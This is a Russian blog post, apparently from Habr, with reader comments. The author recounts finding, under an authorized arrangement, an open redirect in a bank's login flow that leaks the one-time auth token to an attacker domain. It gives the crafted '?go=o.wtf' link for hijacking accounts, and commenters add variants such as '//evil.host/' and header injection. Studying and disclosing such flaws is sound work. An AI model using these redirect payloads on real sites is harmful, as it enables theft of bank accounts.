С этим банком у меня была договорённость о поиске уязвимостей и все мои действия были санкционированными. В тот вечер я уже потратил приличное время на поиск более-менее критичной уязвимости и так не найдя ничего стоящего, было уже отчаялся. Но тут мой взгляд зацепился за один параметр в череде запросов к серверу в момент авторизации. К слову, этот банк использовал передовую и очень надежную технологию авторизации, а именно двухфакторную авторизацию через смс. Так вот, параметр GET запроса, на который я обратил внимание, имел вид:
go=/path/to/some/page
и формировался на стороне сервера для дальнейшей переадресации. Но проблемой было то, что путь для переадресации был относительным и добавлялся к домену сайта и поэтому я игнорировал этот запрос в своих предыдущих исследованиях. К тому же, что бы в нем существовала потенциальная уязвимость, должен был иметь место ряд факторов, а именно: 1). возможность при помощи значения параметра
go
обеспечить переадресацию на сторонний домен2). возможность на клиенте задавать значение этого параметра
3). и наконец, после авторизации при редиректе на сторонний домен должна передаться какая нибудь ценная информация
В итоге, с малой надеждой на какой либо результат, я начал искать пути эксплуатации потенциальной уязвимости.
Немного поразмыслив, я нашел решение первой из трёх вышеперечисленных задач. Предлагаю читателю тоже подумать над этой задачкой. У нас есть, на первый взгляд, относительный путь
/path/to/some/page,
который добавляется к домену сайта
https://internet-bank.com
и в итоге получается адрес
https://internet-bank.com/path/to/some/page.
Как нам сформировать урл со сторонним доменом? Кто догадался, может поставить себе плюсик за сообразительность. Кто хочет узнать ответ, читает дальше. Так вот, если мы вместо
/path/to/some/page
добавим
.some.domain.com,
то получится ссылка для переадресации вида
https://internet-bank.com.some.domain.com
Таким образом, первый пункт из трёх перечисленных выше выполнен, мы сформировали имя стороннего домена, на который есть потенциальная возможность перенаправить пользователя. Осталось ещё 2 пункта.
Для выполнения пункта 2 я попробовал авторизоваться в интернет-банк не с адреса
https://internet-bank.com,
а с
https://internet-bank.com?go=/path/to/some/page.
И о чудо, сервер произвел двухфакторную авторизацию и в итоге перенаправил меня сперва на адрес
https://internet-bank.com/path/to/some/page/?token=37C853F2CA868D819BD9514C3CCEB,
а потом на
https://internet-bank.com/path/to/some/page.
Мне осталось разлогиниться и авторизовать с адреса
https://internet-bank.com?go=.some.domain.com.
Сделав это, меня перекинуло на адрес
https://internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB,
таким образом пункт 3 выполнился автоматически. Зачем данный токен использовался в редиректах при авторизации, я так и не понял, но в итоге я имел возможность по ссылке
https://internet-bank.com?token=37C853F2CA868D819BD9514C3CCEB
авторизоваться с любого компьютера без ввода логина, пароля и смс. Mission completed.
А что дальше? А дальше регистрируем домен второго уровня, например
como.wtf
, распространяем в Интернете ссылку
https://internet-bank.com?go=o.wtf
и получаем доступ к чужим аккаунтам в интернет-банке благодаря пересылке авторизационных токенов на
https://internet-bank.como.wtf
В итоге получается, что для того, что бы иметь возможность угнать чужой аккаунт, нам достаточно добавить к совершенно безопасному адресу сайта интернет-банка всего 9 символов зловредного кода: "?go=o.wtf"
А для себя я сделал следующий вывод: если есть хоть малейшая вероятность существования потенциальной уязвимости, её нужно устранять.
Комментарии (24)
extempl
20.07.2015 16:23что ни кто так и не обратил на неё внимание.
Так и не обратил — в смысле баг не пофиксили до сих пор?
vkachalov
20.07.2015 17:21+5Как нам сформировать урл со сторонним доменом? Кто догадался, может поставить себе плюсик за сообразительность
Думаю, многие, как и я, подумали о собаке @
Но ваш вариант с поддоменом, особенно с вхождением в него зоны домена банка, действительно позволяет замаскировать урл под благонадежный.mayorovp
20.07.2015 20:20Еще вариант — если на сайте есть скрипт внешнего редиректа, то можно использовать его.
HoverHell
21.07.2015 12:38Да, тоже об этом подумал.
А что касается редиректа – неужто обязательно самостоятельно конкатенировать эти строки? Вроде как если отдавать 302 то можно сразу скормить относительный путь как есть, и конкатенацией с учётом вопросов безопасности будет заниматься браузер.
Ну или воспользоваться готовым кодом, в конце концов. Хотя при этом есть столько же шансов добавить дыр сколько убавить их.BlackFan
21.07.2015 13:31+1При относительном пути можно было бы воспользоваться ссылкой без указания uri-схемы ?go=//evil.host/
https://tools.ietf.org/html/rfc3986#section-4.2
mayorovp
21.07.2015 17:03+1Да, можно передать все как есть в Location…
… и получить возможность указания злоумышленником произвольных заголовков ответа путем передачи символа перевода строки в url-параметре :)HoverHell
21.07.2015 17:17Прямолинейную онкатенацию пользовательских данных в ответ тем более не стоит делать; для этого и нужны готовые функции и библиотеки.
Chikey
20.07.2015 17:56+6Прикольно, ключевой баг в том что банк вообще не валидировал параметр «go». Там наверно и header injection можно было откопать.
С Гитхабом очень похожая история была, тоже угон токена и последующий вход (http://habrahabr.ru/post/211845/)
Angelina_Joulie
21.07.2015 13:20+2Раньше писать про то, как складывать пути на дисках.
Для .NET на все собеседования выносили вопросы ответом на которые должны были стать варианции по применению System.IO.Path.Combine(...)
Теперь, имеем полноценного приемника System.Uri
class Program { static void Main(string[] args) { var domain = new Uri("https://internet-banking.com", UriKind.Absolute); var path = ".subdomain.tw"; var uri = new Uri(domain, path); Console.WriteLine(uri); } }
И на выходе будет то, что нужно:
https://internet-banking.com/.subdomain.tw
P.S. Но Uri не самый простой инструмент, там есть свои особенности.
yjurfdw
Всегда надеялся, что в таких системах токен привязан к IP, например, чтобы в случае перехвата токена сложнее было им воспользоваться.
dinikin Автор
Как оказалось, привязки не было ни какой. Единственное, что было, так это то, что токен одноразовый. Но это ни как не спасало.
Chikey
Весьма бесполезно, IP меняются — может и юзеру создать неудобства.
Dinir102
Вовсе нет. Как пишет автор, токен одноразовый, так что он будет использоваться единовременно при авторизации.
Авторизация, как опять же пишет автор, здесь двухфакторная. Для защиты по IP нам надо будет на первом этапе записать IP пользователя, а на втором проверять.
Всё это будет длиться секунд 20. Максимум 3-5 минут, если смс задержалась. Маловероятно, что ваш IP сменится за столь короткий промежуток времени.
Chikey
Ну хм может пригодиться но лучше кодить сразу с правильной валидацией редиректа, тогда вариантов потерять токен по пути значительно меньше.
arabesc
Юзер можеть выходить в Сеть через мобильный и-нет и скакать между базовыми станциями, непредсказуемо меняя свой внешний IP.
Юзер может сидеть через Tor.
DarkByte
Даже, если токен будет привязан к IP, то получивший его сервер internet-bank.como.wtf может отдать пользователю javascript, который выполнит необходимые действия от токена и с IP пользователя. Такому сценарию может помешать CSRF-токен, но и его реализация не всегда идеальна.